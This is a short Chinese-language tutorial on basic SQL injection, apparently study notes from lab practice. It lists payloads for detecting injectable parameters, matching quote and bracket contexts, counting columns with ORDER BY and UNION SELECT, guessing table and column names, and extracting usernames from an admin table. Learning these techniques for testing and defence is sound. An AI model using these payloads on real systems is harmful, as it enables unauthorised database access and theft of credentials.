SQL注入 注入测试基础
1.测试是否有漏洞
单引号测试法
test.php?Id=1'
通常来说,测试当加入字符后有错,再加上--+就没错的话则说明可以注入(有例外,见示例2),此时注入语句就是加上字符,然后就可以用联合语句什么的了,最后记得加上--+
,例如:
示例1
(如果加'
有错,再加--+
成功,则可以知道其是通过’号包围参数的,只要注入的时候加入引号即可拼接,源代码:$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
示例2(特殊)
源代码:$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
将会发现加上都能失败,但加啥再加--+
也都不成功,所以直接加--+
就好
示例3
源代码:$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
将会发现加’)
则失败,再加--+
成功
示例4
源代码:$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";
将会发现加”)
则失败,再加--+成功
总结
''
包着的 -> ' union select 1,2,3... --+
没东西包 -> union select 1,2,3... --+
('')
包着的 -> ') union select 1,2,3... --+
()
包着的 -> ) union select 1,2,3... --+
(('')
包着的 -> ')) union select 1,2,3... --+
以此类推…
逻辑测试法:test.php?Id=1 and 1 = 2
运算测试法:test.php?Id=1 + 1
字符型注入:test.php?Id=1' and '1'='1
2.判断有几个字段
order by
:猜有几列超过列会显示错误
union
:可以继续加select条件(这个时候order by 查到几列就select 1,2,3,n
)
3.猜解表名
exists法:test.php?Id=1 and exists(select * from admin)
数目法:test.php?Id=1 and (select count(*) from admin)>0
4.猜解字段名
exists法:test.php?Id=1 and exists(select username from admin)
数目法:test.php?Id=1 and (select count(username) from admin)>0
5.获取数据
报错注入法:test.php?Id=1 and 1=2 union select 1,username from admin